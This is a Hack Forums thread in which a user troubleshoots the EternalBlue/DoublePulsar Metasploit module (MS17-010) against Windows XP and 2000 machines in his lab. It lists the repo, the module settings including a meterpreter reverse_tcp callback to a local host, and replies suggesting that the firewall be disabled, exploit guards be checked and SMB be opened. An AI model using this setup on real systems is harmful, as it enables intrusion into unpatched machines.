

Forum: [Hack Forums](#)

Thread: [Eternal Blue Double Pulsar \[CVE-2017-0144\] \[CVE-2017-0145\] \[MS17-010\]](#)

Max_Troy3 - March 5, 2020, 2:25 am

Hi Forum,

Has anyone ever actually managed to use this vulnerability to root a Windows XP or Windows 7 machine? Is there some special config needed on the target? I have enabled all windows components and subcomponents.

I've been fiddling about with it in my lab with metasploit and just cannot get it to work. I have a Windows XP and Windows 2000 box that I have tested with so far. Haven't yet tried Windows 7 but it should still work on XP.

I have double, triple checked everything and as far as I can see it should work. But it doesnt. I can see port 445 listening on each of the targets from my Kali machine.

Im using this exploit:

<https://github.com/ElevenPaths/Eternalblue-Doublepulsar-Metasploit.git>

In metasploit I loaded the module and set the following:

RHOST <target>

RPORT 445

PAYLOAD windows/meterpreter/reverse_tcp

TARGET 0

LHOST <source>

PROCESSINJECT explorer.exe

ARCHITECTURE <default (x86)>

When I ran the metasploit scan for this vulnerability both machines came back as vulnerable to it.

Metasploit returns "Error getting output back from Core; aborting"

It would be really nice to see an exploit actually work.

ether - March 5, 2020, 2:30 am

Have you enabled the firewall on the windows machine? If yes the exploit probably won't work. If you disable the windows firewall it will surely work. Hope I helped.

CyberStrike - March 5, 2020, 3:34 am

Are we sure that these are in fact x86 (32 bit) machines? Are you able to connect to said machine, for example a quick ping? A quick look at the code of that repo, this is using WINE as well, hmm..

Edit: If you have security products include that as well, some AVs have exploit guards. So tell us the product(s) as well.

Max_Troy3 - March 17, 2020, 1:31 am

(Mar 5, 2020 03:30 AM)ether Wrote: [\[CITE\]](#) Have you enabled the firewall on the windows machine? If yes the exploit probably won't work. If you disable the windows firewall it will surely work. Hope I

helped.

The firewall is disabled. I have run a port scan and can see port 445 and 139 open.

(Mar 5, 2020 04:34 AM)CyberStrike Wrote: [\[CITE\]](#) Are we sure that these are in fact x86 (32 bit) machines? Are you able to connect to said machine, for example a quick ping? A quick look at the code of that repo, this is using WINE as well, hmm..

Edit: If you have security products include that as well, some AVs have exploit guards. So tell us the product(s) as well.

Yes 100% the XP machine is 32 bit. Yes I can ping it.

I am wondering if the version of metasploit is a mis match with the actual exploit although don't think so because this particular exploit is present in the DB with the release of Metasploit 5.

I would really like to see this working. Any ideas please? Im still stuck with it.

compalabee - March 17, 2020, 4:06 am

(Mar 5, 2020 03:25 AM)Max_Troy3 Wrote: [\[CITE\]](#) I have double, triple checked everything and as far as I can see it should work. But it doesnt. I can see port 445 listening on each of the targets from my Kali machine.

When WannaCry started to spread, Microsoft went against protocol and updated XP machines even after end-of-life. EternalBlue is that serious.

There's a chance those machines you have got their SMB's patched. If not, check if the SMB service is open on your machines. If I recall correctly, it's the services.msc app. Force open your SMB port. Also if I recall correctly, the exploit needs a home group to propagate.